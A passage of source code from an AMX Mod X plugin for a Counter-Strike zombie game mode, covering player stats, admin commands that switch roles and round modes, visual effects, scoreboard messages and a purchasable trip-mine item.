	copy ( DBName [id], charsmax ( DBName [ ] ), PlayerName [id] );

	DBPacks [id] = AmmoPacks [id];

	DBZombieClass [id] = ZombieClassNext [id];
}

LoadStats ( id )
{
	static i;

	for ( i = 0; i < sizeof DBName; i ++ )
	{
		if ( equal ( PlayerName [id], DBName [i] ) )
		{
			AmmoPacks [id] = DBPacks [i];

			ZombieClass [id] = DBZombieClass [i];

			ZombieClassNext[id] = DBZombieClass [i];

			return;
		}
	}
}

CheckAllowedZombie ( id )
{
	if ( ( IsZombie [id] && !IsNemesis [id] && !IsAssassin [id] ) || EndRound || !IsAlive [id] || task_exists ( TASK_WELCOMEMSG ) || ( !NewRound && !IsZombie [id] && fnGetHumans (  ) == 1 ) )

	return false;

	return true;
}

CheckAllowedHuman ( id )
{
	if ( ( !IsZombie [id] && !IsSurvivor [id] && !IsSniper [id] ) || EndRound || !IsAlive [id] || task_exists ( TASK_WELCOMEMSG ) || ( !NewRound && IsZombie [id] && fnGetZombies (  ) == 1 ) )

	return false;

	return true;
}

CheckAllowedNemesis ( id )
{
	if ( EndRound || IsNemesis [id] || !IsAlive [id] || task_exists ( TASK_WELCOMEMSG ) || ( !NewRound && !IsZombie [id] && fnGetHumans (  ) == 1 ) )

	return false;

	return true;
}

CheckAllowedAssassin ( id )
{
	if ( EndRound || IsAssassin [id] || !IsAlive [id] || task_exists ( TASK_WELCOMEMSG ) || ( !NewRound && !IsZombie [id] && fnGetHumans (  ) == 1 ) )

	return false;

	return true;
}

CheckAllowedSurvivor ( id )
{
	if ( EndRound || IsSurvivor [id] || !IsAlive [id] || task_exists ( TASK_WELCOMEMSG ) || ( !NewRound && IsZombie [id] && fnGetZombies (  ) == 1 ) )

	return false;

	return true;
}

CheckAllowedSniper ( id )
{
	if ( EndRound || IsSniper [id] || !IsAlive [id] || task_exists ( TASK_WELCOMEMSG ) || ( !NewRound && IsZombie [id] && fnGetZombies (  ) == 1 ) )

	return false;

	return true;
}

CheckAllowedRespawn ( id )
{
	static Team;

	Team = fm_cs_get_user_team ( id );

	if ( EndRound || Team == FM_CS_TEAM_SPECTATOR || Team == FM_CS_TEAM_UNASSIGNED || IsAlive [id] )

	return false;

	return true;
}

CheckAllowedSwarm (  )
{
	if ( EndRound || !NewRound || task_exists ( TASK_WELCOMEMSG ) || floatround ( fnGetAlive (  ) * 0.5, floatround_ceil) < 2 || floatround ( fnGetAlive (  ) * 0.5, floatround_ceil ) >= fnGetAlive (  ) )

	return false;

	return true;
}

CheckAllowedMulti (  )
{
	if ( EndRound || !NewRound || task_exists ( TASK_WELCOMEMSG ) || floatround ( fnGetAlive (  ) * 0.5, floatround_ceil ) < 2 || floatround ( fnGetAlive (  ) * 0.5, floatround_ceil ) >= fnGetAlive (  ) )

	return false;

	return true;
}

CheckAllowedPlague (  )
{
	if ( EndRound || !NewRound || task_exists ( TASK_WELCOMEMSG ) || floatround ( ( fnGetAlive (  ) - ( 2 + 3 ) ) * 0.4, floatround_ceil ) < 1 ||

	fnGetAlive (  ) - ( 3 + 2 + floatround ( ( fnGetAlive (  ) - ( 2 + 3 ) ) * 0.4, floatround_ceil ) ) < 1 )

	return false;

	return true;
}

CheckAllowedArmageddon (  )
{
	if ( EndRound || !NewRound || task_exists ( TASK_WELCOMEMSG ) || floatround ( fnGetAlive (  ) * 0.5, floatround_ceil ) < 2 || floatround ( fnGetAlive (  ) * 0.5, floatround_ceil ) >= fnGetAlive (  ) )

	return false;

	return true;
}

CheckAllowedApocalypse (  )
{
	if ( EndRound || !NewRound || task_exists ( TASK_WELCOMEMSG ) || floatround ( fnGetAlive (  ) * 0.5, floatround_ceil ) < 2 || floatround ( fnGetAlive (  ) * 0.5, floatround_ceil ) >= fnGetAlive (  ) )

	return false;

	return true;
}

CheckAllowedNightmare (  )
{
	if ( EndRound || !NewRound || task_exists ( TASK_WELCOMEMSG ) || floatround ( fnGetAlive (  ) * 0.2, floatround_ceil ) < 2 || floatround ( fnGetAlive (  ) * 0.2, floatround_ceil ) >= fnGetAlive (  ) )

	return false;

	return true;
}

CommandZombie ( id, player )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Zombie^1", PlayerName [id], PlayerName [player] );

	log_to_file( "ZombieOutstanding.log", "%s made %s a Zombie", PlayerName [id], PlayerName [player] );

	if ( NewRound )
	{
		remove_task ( TASK_MAKEZOMBIE );

		remove_task ( TASK_ID );

		cmdMakeZombie ( MODE_INFECTION, player );
	}

	else

	UserZombie ( player, 0, 0, 0, 0, 0 );
}


CommandHuman ( id, player )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Human", PlayerName [id], PlayerName [player] );

	log_to_file ( "ZombieOutstanding.log", "%s made %s a Human", PlayerName [id], PlayerName [player] );

	UserHuman ( player, 0, 0, 0 );
}

CommandNemesis ( id, player )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Nemesis", PlayerName [id], PlayerName [player] )

	log_to_file ( "ZombieOutstanding.log", "%s made %s a Nemesis", PlayerName [id], PlayerName [player] );

	if ( NewRound )
	{
		remove_task ( TASK_MAKEZOMBIE );

		remove_task ( TASK_ID );

		cmdMakeZombie ( MODE_NEMESIS, player );
	}

	else

	UserZombie ( player, 0, 1, 0, 0, 0 );
}

CommandAssassin ( id, player )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 an^4 Assassin", PlayerName [id], PlayerName [player] );

	log_to_file ( "ZombieOutstanding.log", "%s made %s an Assassin", PlayerName [id], PlayerName [player] );

	if ( NewRound )
	{
		remove_task ( TASK_MAKEZOMBIE );

		remove_task ( TASK_ID );

		cmdMakeZombie ( MODE_ASSASSIN, player );
	}

	else

	UserZombie ( player, 0, 0, 1, 0, 0 );
}

CommandSurvivor ( id, player )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Survivor", PlayerName [id], PlayerName [player] )

	log_to_file ( "ZombieOutstanding.log", "%s made %s a Survivor", PlayerName [id], PlayerName [player] );

	if ( NewRound )
	{
		remove_task ( TASK_MAKEZOMBIE );

		remove_task ( TASK_ID );

		cmdMakeZombie ( MODE_SURVIVOR, player );
	}

	else

	UserHuman ( player, 1, 0, 0 );
}

CommandSniper ( id, player )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Sniper", PlayerName [id], PlayerName [player] )

	log_to_file ( "ZombieOutstanding.log", "%s made %s a Sniper", PlayerName [id], PlayerName [player] );

	if ( NewRound )
	{
		remove_task ( TASK_MAKEZOMBIE );

		remove_task ( TASK_ID );

		cmdMakeZombie ( MODE_SNIPER, player );
	}

	else

	UserHuman ( player, 0, 1, 0 );
}

CommandRespawn ( id, player )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Human", PlayerName [id], PlayerName [player] );

	log_to_file ( "ZombieOutstanding.log", "%s made %s a Human", PlayerName [id], PlayerName [player] );

	ExecuteHamB ( Ham_CS_RoundRespawn, player );
}

CommandSwarm ( id )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Swarm^1 round!", PlayerName [id] );

	log_to_file ( "ZombieOutstanding.log", "%s started Swarm round", PlayerName [id] );

	remove_task ( TASK_MAKEZOMBIE );

	remove_task ( TASK_ID );

	cmdMakeZombie ( MODE_SWARM, 0 );
}

CommandMulti ( id )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Multiple Infections^1 round!", PlayerName [id] );

	log_to_file ( "ZombieOutstanding.log", "%s started Multiple Infections round", PlayerName [id] );

	remove_task ( TASK_MAKEZOMBIE );

	remove_task ( TASK_ID );

	cmdMakeZombie ( MODE_MULTI, 0 );
}

CommandPlague ( id )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Plague^1 round!", PlayerName [id] );

	log_to_file ( "ZombieOutstanding.log", "%s started Plague round", PlayerName [id] );

	remove_task ( TASK_MAKEZOMBIE );

	remove_task ( TASK_ID );

	cmdMakeZombie ( MODE_PLAGUE, 0 );
}

CommandArmageddon ( id )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Armageddon^1 round!", PlayerName [id] );

	log_to_file ( "ZombieOutstanding.log", "%s started Armageddon round", PlayerName [id] );

	remove_task ( TASK_MAKEZOMBIE );

	remove_task ( TASK_ID );

	cmdMakeZombie ( MODE_ARMAGEDDON, 0 );
}

CommandApocalypse ( id )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Assassins vs Snipers^1 round!", PlayerName [id] );

	log_to_file ( "ZombieOutstanding.log", "%s started Assassins vs Snipers round", PlayerName [id] );

	remove_task ( TASK_MAKEZOMBIE );

	remove_task ( TASK_ID );

	cmdMakeZombie ( MODE_APOCALYPSE, 0 );
}

CommandNightmare ( id )
{
	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Nightmare^1 round!", PlayerName [id] );

	log_to_file ( "ZombieOutstanding.log", "%s started Nightmare round", PlayerName [id] );

	remove_task ( TASK_MAKEZOMBIE );

	remove_task ( TASK_ID );

	cmdMakeZombie ( MODE_NIGHTMARE, 0 );
}

zHasRoundStarted (  )
{
	if ( NewRound ) return 0;

	if ( ModeStarted ) return 1;

	return 2;
}

register_item ( const Name [ ], Cost, Team )
{
	ArrayPushString ( ExtraItemName_01, Name );

	ArrayPushCell ( ExtraItemCost_01, Cost );

	ArrayPushCell ( ExtraItemTeam_01, Team );

	ArrayPushCell ( ExtraItemNew, 1 );

	iExtraItem ++;
}


register_zombie_class ( const Name [ ], const Info [ ], const model [ ], const clawmodel[], hp, speed, Float:gravity, Float:knockback )
{
	ArrayPushString ( ZClassName_01, Name )

	ArrayPushString ( ZClassInfo_01, Info )

	ArrayPushCell ( ZClassModelsStart_01, ArraySize ( ZClassPlayerModel_01 ) );

	ArrayPushString ( ZClassPlayerModel_01, model );

	ArrayPushCell ( ZClassModelSend_01, ArraySize ( ZClassPlayerModel_01 ) );

	ArrayPushCell ( ZClassModelIndex_01, -1 );

	ArrayPushString ( ZClassClawModel_01, clawmodel );

	ArrayPushCell ( ZClassHealth_01, hp );

	ArrayPushCell ( ZClassSpeed_01, speed );

	ArrayPushCell ( ZClassGravity_01, gravity );

	ArrayPushCell ( ZClassKnockback_01, knockback );

	ArrayPushCell ( ZClassNew, 1 );

	new prec_mdl [100];

	if ( ArrayGetCell ( ZClassNew, iZClass ) )
	{
		formatex ( prec_mdl, charsmax ( prec_mdl ), "models/player/%s/%s.mdl", model, model );

		ArraySetCell ( ZClassModelIndex_01, ArrayGetCell ( ZClassModelsStart_01, iZClass ), engfunc ( EngFunc_PrecacheModel, prec_mdl ) );

		formatex ( prec_mdl, charsmax ( prec_mdl ), "models/ZombieOutstanding/%s", clawmodel );

		engfunc ( EngFunc_PrecacheModel, prec_mdl );
	}

	iZClass ++;
}

public UserNVision ( TaskIndex )
{
	static origin [3]; get_user_origin ( ID_NVISION, origin );

	message_begin ( MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, _, ID_NVISION );
	write_byte ( TE_DLIGHT );
	write_coord ( origin [0] );
	write_coord ( origin [1] );
	write_coord ( origin [2] );
	write_byte ( 80 );

	if ( NoDamage [ID_NVISION] )
	{
		write_byte ( 0 );
		write_byte ( 150 );
		write_byte ( 200 );
	}
	else
	{
		write_byte ( 0 );
		write_byte ( 150 );
		write_byte ( 200 );
	}

	write_byte ( 3 );
	write_byte ( 0 );
	message_end (  );
}

InfectionEffects ( id )
{
	if ( !IsFrozen [id] )
	{
		ScreenFadeEffect ( id, 0.5, 255, 0, 0, 255 );
	}


	ScreenShakeEffect ( id, 0.5 );

	static Origin [3]; get_user_origin ( id, Origin );

	message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
	write_byte ( TE_IMPLOSION );
	write_coord ( Origin [0] );
	write_coord ( Origin [1] );
	write_coord ( Origin[2] );
	write_byte ( 128 );
	write_byte ( 20 );
	write_byte ( 3 );
	message_end (  );

	message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
	write_byte ( TE_PARTICLEBURST );
	write_coord ( Origin [0] );
	write_coord ( Origin [1] );
	write_coord ( Origin [2] );
	write_short ( 50 );
	write_byte ( 70 );
	write_byte ( 3 );
	message_end (  );

	message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
	write_byte ( TE_DLIGHT );
	write_coord ( Origin [0] );
	write_coord ( Origin [1] );
	write_coord ( Origin [2] );
	write_byte ( 20 );
	write_byte ( 250 );
	write_byte ( 0 );
	write_byte ( 40 );
	write_byte ( 2 );
	write_byte ( 0 );
	message_end (  );
}

public BurningFlame ( TaskIndex )
{
	static origin [3], flags;

	get_user_origin ( ID_BURN, origin );

	flags = pev ( ID_BURN, pev_flags );

	if ( NoDamage [ID_BURN] || ( flags & FL_INWATER ) || BurningDuration [ID_BURN] < 1 )
	{
		message_begin ( MSG_PVS, SVC_TEMPENTITY, origin );
		write_byte ( TE_SMOKE );
		write_coord ( origin [0] );
		write_coord ( origin [1] );
		write_coord ( origin [2] - 50 );
		write_short ( SmokeSpr );
		write_byte ( random_num (15, 20) );
		write_byte ( random_num (10, 20) );
		message_end (  );

		remove_task ( TaskIndex );

		return;
	}

	if ( !IsNemesis [ID_BURN] && !IsAssassin [ID_BURN] && !random_num ( 0, 20 ) )
	{
		static Sound [64];

		ArrayGetString ( GrenadeFirePlayer, random_num ( 0, ArraySize ( GrenadeFirePlayer ) - 1 ), Sound, charsmax ( Sound ) )

		EmitSound ( ID_BURN, CHAN_AUTO, Sound );
	}

	if ( !IsNemesis [ID_BURN] && !IsAssassin [ID_BURN] && ( flags & FL_ONGROUND ) && 1.0 > 0.0 )
	{
		static Float: velocity [3];

		pev ( ID_BURN, pev_velocity, velocity );

		xs_vec_mul_scalar ( velocity, 1.0, velocity );

		set_pev ( ID_BURN, pev_velocity, velocity );
	}

	static health;

	health = pev ( ID_BURN, pev_health );

	if ( health - floatround ( 20.0, floatround_ceil ) > 0 )

		fm_set_user_health ( ID_BURN, health - floatround ( 20.0, floatround_ceil ) );

	message_begin ( MSG_PVS, SVC_TEMPENTITY, origin );

	write_byte ( TE_SPRITE );

	write_coord ( origin [0] + random_num (-5, 5) );

	write_coord ( origin [1] + random_num (-5, 5) );

	write_coord ( origin [2] + random_num (-10, 10) );

	write_short ( FlameSpr );

	write_byte ( random_num (5, 10) );

	write_byte ( 200 );

	message_end (  );

	BurningDuration [ID_BURN]--
}

CreateBlastInfection ( const Float: Origin [3] )
{
	engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, Origin, 0 );
	write_byte ( 21 );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] + 470.0 );
	write_short ( ExploSpr );
	write_byte ( 0 );
	write_byte ( 0 );
	write_byte ( 4 );
	write_byte ( 60 );
	write_byte ( 0 );
	write_byte ( 0 );
	write_byte ( 250 );
	write_byte ( 0 );
	write_byte ( 200 );
	write_byte ( 0 );
	message_end (  );
}

CreateBlastFire ( const Float: Origin [3] )
{
	engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, Origin, 0 );
	write_byte ( 21 );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] + 470.0 );
	write_short ( ExploSpr );
	write_byte ( 0 );
	write_byte ( 0 );
	write_byte ( 4 );
	write_byte ( 60 );
	write_byte ( 0 );
	write_byte ( 250 );
	write_byte ( 40 );
	write_byte ( 0 );
	write_byte ( 200 );
	write_byte ( 0 );
	message_end (  )
}

CreateBlastFrost ( const Float: Origin [3] )
{
	engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, Origin, 0 );
	write_byte ( 21 );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] + 470.0 );
	write_short ( ExploSpr );
	write_byte ( 0 );
	write_byte ( 0 );
	write_byte ( 4 );
	write_byte ( 60 );
	write_byte ( 0 );
	write_byte ( 0 );
	write_byte ( 100 );
	write_byte ( 200 );
	write_byte ( 200 );
	write_byte ( 0 );
	message_end (  );
}

FixDeadAttrib ( id )
{
	message_begin ( MSG_BROADCAST, get_user_msgid ( "ScoreAttrib" ) );
	write_byte ( id );
	write_byte ( 0 );
	message_end (  );
}

SendDeathMsg ( Attacker, Victim )
{
	message_begin ( MSG_BROADCAST, get_user_msgid ( "DeathMsg" ) );
	write_byte ( Attacker );
	write_byte ( Victim );
	write_byte ( 1 );
	write_string ( "infection" )
	message_end (  )
}

UpdateFrags ( Attacker, Victim, frags, deaths, scoreboard )
{
	set_pev ( Attacker, pev_frags, float ( pev ( Attacker, pev_frags ) + frags ) );

	fm_cs_set_user_deaths ( Victim, cs_get_user_deaths ( Victim ) + deaths );

	if ( scoreboard )
	{
		message_begin ( MSG_BROADCAST, get_user_msgid ( "ScoreInfo" ) );
		write_byte ( Attacker );
		write_short ( pev ( Attacker, pev_frags ) );
		write_short ( cs_get_user_deaths ( Attacker ) );
		write_short ( 0 );
		write_short ( fm_cs_get_user_team ( Attacker ) );
		message_end (  );

		message_begin ( MSG_BROADCAST, get_user_msgid ( "ScoreInfo" ) );
		write_byte ( Victim );
		write_short ( pev ( Victim, pev_frags ) );
		write_short ( cs_get_user_deaths ( Victim ) );
		write_short ( 0 );
		write_short ( fm_cs_get_user_team ( Victim ) );
		message_end (  );
	}
}

PlaySound ( id, const Sound [ ] ) client_cmd ( id, "spk ^"%s^"", Sound );

EmitSound ( Index, Channel, const Sound [ ] ) emit_sound ( Index, Channel, Sound, 1.0, ATTN_NORM, 1, 105 );

AddCommas ( iNum , szOutput[] , iLen )
{
	new szTmp [17] , iOutputPos , iNumPos , iNumLen;

	iNumLen = num_to_str( iNum , szTmp , charsmax( szTmp ) );

	if ( iNumLen <= 3 )
	{
        		iOutputPos += copy ( szOutput [iOutputPos] , iLen , szTmp );
    	}
    	else
    	{
        		while ( ( iNumPos < iNumLen ) && ( iOutputPos < iLen ) )
       	 	{
                   	szOutput[ iOutputPos++ ] = szTmp[ iNumPos++ ];

            		if ( ( iNumLen - iNumPos ) && !( ( iNumLen - iNumPos ) % 3 ) )

					szOutput[ iOutputPos++ ] = ',';
       		}

	    	szOutput[ iOutputPos ] = EOS;
    	}

    	return iOutputPos;
}

/* --------------- | Extra Items | -------------- */

public BuyTripMine ( id )
{
	if ( !IsAlive [id] )
	{
		client_print_color ( id, print_team_grey, "%s You should be^3 Alive^1.", CHAT_PREFIX );

		return PLUGIN_CONTINUE;
	}

	if ( IsZombie [id] || IsNemesis [id] || IsAssassin [id] )
	{
		client_print_color ( id, print_team_grey, "%s You should be^3 Human^1.", CHAT_PREFIX );

		return PLUGIN_CONTINUE;
	}

	if ( AmmoPacks [id] < 5 )
	{
		client_print_color ( id, print_team_grey, "%s You need^4 %d ammo packs^1.", CHAT_PREFIX, 5 );

		return PLUGIN_CONTINUE;
	}


	AmmoPacks [id] -= 5;

	HasTripMines [id] ++;

	client_print_color ( id, print_team_grey, "%s You bought a trip mine. Press^3 V^1 to plant it or^3 C^1 to take it.", CHAT_PREFIX );

	client_cmd ( id, "bind ^"v^" ^"createlaser^"" );

	client_cmd ( id, "bind ^"c^" ^"removelaser^"" );

	return PLUGIN_CONTINUE;
}

public PlantTripMine ( id )
{
	if( !IsAlive [id] )
	{
		client_print_color ( id, print_team_grey, "%s You should be^3 Alive^1.", CHAT_PREFIX );

		return PLUGIN_HANDLED;
	}

	if ( IsZombie [id] || IsNemesis [id] || IsAssassin [id] )
	{
		client_print_color ( id, print_team_grey, "%s You should be^3 Human^1.", CHAT_PREFIX );

		return PLUGIN_HANDLED;
	}

	if ( !HasTripMines [id] )
	{
		client_print_color ( id, print_team_default, "%s You don't have a trip mine to plant.", CHAT_PREFIX );

		return PLUGIN_HANDLED;
	}

	if ( PlantedMines [id] > 1 )
	{
		client_print_color ( id, print_team_grey, "%s You can plant only^3 2^1 mines.", CHAT_PREFIX );

		return PLUGIN_HANDLED;
	}


	if ( HasPlanting [id] || HasRemoving [id] ) return PLUGIN_HANDLED;

	if ( CanPlant ( id ) )
	{
		HasPlanting [id] = true;

		message_begin ( MSG_ONE_UNRELIABLE, 108, _, id );
		write_byte ( 1 );
		write_byte ( 0 );
		message_end ( );

		set_task ( 1.2, "fwPlantMines", id + TASK_CREATE );
	}

	return PLUGIN_HANDLED;
}

public TakeTripMine ( id )
{
	if ( !IsAlive [id] )
	{
		client_print_color ( id, print_team_grey, "%s You should be^3 Alive^1.", CHAT_PREFIX );

		return PLUGIN_HANDLED;
	}

	if ( IsZombie [id] || IsNemesis [id] || IsAssassin [id] )
	{
		client_print_color ( id, print_team_grey, "%s You should be^3 Human^1.", CHAT_PREFIX );

		return PLUGIN_HANDLED;
	}

	if ( !PlantedMines [id] )
	{
		client_print_color ( id, print_team_default, "%s You don't have a planted mine.", CHAT_PREFIX );

		return PLUGIN_HANDLED;
	}

	if ( HasPlanting [id] || HasRemoving [id] ) return PLUGIN_HANDLED;

	if ( CanTake ( id ) )
	{
		HasRemoving [id] = true;

		message_begin ( MSG_ONE_UNRELIABLE, 108, _, id );
		write_byte ( 1 );
		write_byte ( 0 );
		message_end (  );

		set_task ( 1.2, "fwTakeMines", id + TASK_REMOVE );
	}

	return PLUGIN_HANDLED;
}

public fwPlantMines ( id )
{
	id -= TASK_CREATE;

	HasPlanting [id] = false;

	static Float: Origin [3]; entity_get_vector ( id, EV_VEC_origin, Origin );

	static Float: TraceDirection [3], Float: TraceEnd [3], Float: iTraceResult [3], Float: Normal [3];

	velocity_by_aim ( id, 128, TraceDirection );

	TraceEnd [0] = TraceDirection [0] + Origin [0];

	TraceEnd [1] = TraceDirection [1] + Origin [1];

	TraceEnd [2] = TraceDirection [2] + Origin [2];

	static Float: Fraction, iTr; iTr = 0;

	engfunc ( EngFunc_TraceLine, Origin, TraceEnd, 0, id, iTr );

	get_tr2 ( iTr, TR_vecEndPos, iTraceResult );

	get_tr2 ( iTr, TR_vecPlaneNormal, Normal );

	get_tr2 ( iTr, TR_flFraction, Fraction );

	static Entity; Entity = create_entity ( "info_target" );

	if ( !Entity ) return;

	entity_set_string ( Entity, EV_SZ_classname, "zRises_TripMine");

	entity_set_model ( Entity, GetModelTripmine );

	entity_set_size ( Entity, Float: { -4.0, -4.0, -4.0 }, Float: { 4.0, 4.0, 4.0 } );

	fm_set_rendering ( Entity, kRenderFxGlowShell, 0, 120, 240, kRenderNormal, 13 );

	entity_set_int ( Entity, EV_INT_iuser2, id );

	PlantedMines [id] ++;

	set_pev ( Entity, pev_iuser3, PlantedMines [id] );

	entity_set_float ( Entity, EV_FL_frame, 0.0 );

	entity_set_float ( Entity, EV_FL_framerate, 0.0 );

	entity_set_int ( Entity, EV_INT_movetype, MOVETYPE_FLY );

	entity_set_int ( Entity, EV_INT_solid, SOLID_NOT );

	entity_set_int ( Entity, EV_INT_body, 3 );

	entity_set_int ( Entity, EV_INT_sequence, 7 );

	entity_set_float ( Entity, EV_FL_takedamage, DAMAGE_NO );

	entity_set_int ( Entity, EV_INT_iuser1, 0 );

	static Float: NewOrigin [3], Float: EntAngles [3];

	NewOrigin [0] = iTraceResult [0] + ( Normal [0] * 8.0 );

	NewOrigin [1] = iTraceResult [1] + ( Normal [1] * 8.0 );

	NewOrigin [2] = iTraceResult [2] + ( Normal [2] * 8.0 );

	entity_set_origin ( Entity, NewOrigin );

	vector_to_angle ( Normal, EntAngles );

	entity_set_vector ( Entity, EV_VEC_angles, EntAngles );

	EntAngles [0] *= -1.0;

	EntAngles [1] *= -1.0;

	EntAngles [2] *= -1.0;

	entity_set_vector ( Entity, EV_VEC_v_angle, EntAngles );

	HasTripMines [id] --;

	EmitSound ( Entity, CHAN_AUTO, "ZombieOutstanding/mine_deploy.wav" );

	EmitSound ( Entity, CHAN_AUTO, "ZombieOutstanding/mine_charge.wav" );

	entity_set_float ( Entity, EV_FL_nextthink, get_gametime (  ) + 0.6 );
}

public fwTakeMines ( id )
{
	id -= TASK_REMOVE;

	HasRemoving [id] = false;

	static Entity, ClassName [32], Float: OwnerOrigin [3], Float: EntityOrigin [3];

	for ( Entity = 0; Entity < 601; Entity ++ )
	{
		if ( !is_valid_ent ( Entity ) ) continue;

		ClassName [0] = '^0';

		entity_get_classname ( Entity, ClassName );

		if ( equal ( ClassName, "zRises_TripMine" ) )
		{
			if ( entity_get_owner ( Entity ) == id )
			{
				entity_get_vector ( id, EV_VEC_origin, OwnerOrigin );

				entity_get_vector ( Entity, EV_VEC_origin, EntityOrigin );

				if ( get_distance_f ( OwnerOrigin, EntityOrigin ) < 55.0 )
				{
					PlantedMines [id] --;

					HasTripMines [id] ++;

					remove_entity ( Entity );

					break;
				}
			}
		}
	}
}

public bool: CanPlant ( id )
{
	static Float: Origin [3];

	entity_get_vector ( id, EV_VEC_origin, Origin );

	static Float: TraceDirection [3], Float: TraceEnd [3], Float: iTraceResult [3], Float: Normal [3];

	velocity_by_aim ( id, 64, TraceDirection );

	TraceEnd [0] = TraceDirection [0] + Origin [0];

	TraceEnd [1] = TraceDirection [1] + Origin [1];

	TraceEnd [2] = TraceDirection [2] + Origin [2];

	static Float: Fraction, iTr; iTr = 0;

	engfunc ( EngFunc_TraceLine, Origin, TraceEnd, 0, id, iTr );

	get_tr2 ( iTr, TR_vecEndPos, iTraceResult );

	get_tr2 ( iTr, TR_vecPlaneNormal, Normal );

	get_tr2 ( iTr, TR_flFraction, Fraction );

	if ( Fraction >= 1.0 )
	{
		client_print_color ( id, print_team_default, "%s You must plant the tripmine on a wall.", CHAT_PREFIX );

		return false;
	}

	return true;
}

public bool: CanTake ( id )
{
	static Entity, ClassName [32], Float: OwnerOrigin [3], Float: EntityOrigin [3];

	for ( Entity = 0; Entity < 601; Entity ++ )
	{
		if ( !is_valid_ent ( Entity ) ) continue;

		ClassName [0] = '^0';

		entity_get_classname ( Entity, ClassName );

		if ( equal ( ClassName, "zRises_TripMine" ) )
		{
			if ( entity_get_owner ( Entity ) == id )
			{
				entity_get_vector ( id, EV_VEC_origin, OwnerOrigin );

				entity_get_vector ( Entity, EV_VEC_origin, EntityOrigin );

				if ( get_distance_f ( OwnerOrigin, EntityOrigin ) < 55.0 )

					return true;
			}
		}
	}

	return false;
}

public fwRemoveMinesByOwner ( id )
{
	static Entity, ClassName [32];

	for ( Entity = 0; Entity < 601; Entity ++ )
	{
		if ( !is_valid_ent ( Entity ) ) continue;

		ClassName [0] = '^0';

		entity_get_classname ( Entity, ClassName );

		if ( equal ( ClassName, "zRises_TripMine" ) )

		if ( entity_get_int ( Entity, EV_INT_iuser2 ) == id )

		remove_entity ( Entity );
	}
}

fwExplodeMine ( Entity )
{
	PlantedMines [entity_get_owner ( Entity )] --;

	static Float: Origin [3], Float: ZombieOrigin [3], Float: Velocity [3];

	entity_get_vector ( Entity, EV_VEC_origin, Origin );

	message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
	write_byte ( 3 );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] );
	write_short ( HExplode )
	EmitSound ( Entity, CHAN_AUTO, "fvox/flatline.wav" );
	write_byte ( 55 );
	write_byte ( 15 );
	write_byte ( 0 );
	message_end (  );

	message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
	write_byte ( 3 );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] );
	write_short( HExplode );
	EmitSound ( Entity, CHAN_AUTO, "fvox/flatline.wav" );
	write_byte ( 65 );
	write_byte ( 15 );
	write_byte ( 0 );
	message_end (  );

	message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
	write_byte ( 3 );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] );
	write_short ( HExplode );
	EmitSound ( Entity, CHAN_AUTO, "fvox/flatline.wav" );
	write_byte ( 85 );
	write_byte ( 15 );
	write_byte ( 0 );
	message_end (  );

	message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
	write_byte ( 21 );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] + 400.0 );
	write_short ( ExploSpr );
